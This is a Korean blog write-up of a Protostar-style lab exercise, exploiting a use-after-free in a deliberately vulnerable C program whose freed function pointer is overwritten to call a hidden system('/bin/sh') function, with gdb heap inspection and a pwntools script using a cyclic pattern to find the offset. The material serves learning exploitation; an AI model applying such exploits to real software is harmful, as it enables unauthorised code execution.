프로토스타

[프로토스타] (번외) UAF

-dP- 2019. 1. 30. 16:13

uaf.c


#include <stdio.h>

#include <malloc.h>


typedef struct test{

char *name[50];

void (*greetings)(void *name);

void (*bye)(void *name);

}VULN;


void *say_hello(void *name){

printf("Hello! %s\n", (char*)name);

}


void *say_goodbye(void *name){

printf("ByeBye! %s\n", (char*)name);

}


void main()

{

void *vuln_test;

VULN *vuln = (char*)malloc(100);


vuln->greetings = say_hello;

vuln->bye = say_goodbye;


printf("Input your name : ");

scanf("%s", (char*)vuln->name);

vuln->greetings(vuln->name);

free(vuln);

vuln_test = (char*)malloc(100);


printf("realloc 100, Input String : ");

scanf("%s", (char*)vuln_test);

printf("Your message is : %s\n", (char*)vuln_test);

vuln->bye(vuln->name);

free(vuln_test);

}


void vuln()

{

system("/bin/sh");

}


출처: https://shayete.tistory.com/entry/7-Use-After-Free



1. 문제해결 및 분석



1. gdb ./uaf







disas main






malloc 이후 ni



b *main+21



드래그된 부분을 통해 힙 정보 확인



1-2. x/100wx 0x804b160 - 0x8





heap size에 0x71 들어가 있다.



원래는 0x70이지만 1바이트가 추가된 것은 heap으로 정상적으로 할당되었다는 의미



1-3. 다시 disas main






이름 입력하는 부분까지


b *main+85



1-4. x/100wx 0x804b160 - 0x8







1-5. attch







터미널 2개 열고




왼쪽 터미널에서 gdb ./uaf (pid번호) 혹



gdb ./uaf 



attach 9510





gedit uaf.py 파일을 하나 만들어서 아래와 같이 입력한다.



#uaf.py

from pwn import *



#bin_sh = p32(0xFFFFFFFF)

#offset =


#payload = 'A' * offset + bin_sh

pattern = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'




p = process('uaf')

print p.recvrepeat(1)

p.sendline('ResSJ')

print p.recvrepeat(1)

pause()

p.sendline(pattern)

#p.sendline(payload)


p.interactive()









그런 후 오른쪽 터미널에서





python uaf.py








왼쪽 터미널에




disas main








b *main+201




conti





오른쪽 터미널에서 엔터하면 위와 같이 레지스터 정보가 나온다









eax에 있는 값에





pattern offset AAbA를 한다.





disas vuln 하여 주소값 획득








여러 번 해본 결과 mov할 때의 주소만 되고 다른 건 안 됨.




왜 그러는지 모르겠으니 공부하는 걸로




1-6. 해결





bin_sh에 vuln 주소값을


offset은 위에서 구한 offset을


payload는 위와 같이 구성하면 된다.




피드백 환영입니다!


'프로토스타' 카테고리의 다른 글

[프로토스타] heap2  (0) 2019.01.28
[프로토스타] heap1  (0) 2019.01.24
[프로토스타] heap0  (0) 2019.01.23
[프로토스타] format4  (0) 2019.01.23
[프로토스타] format3  (0) 2019.01.23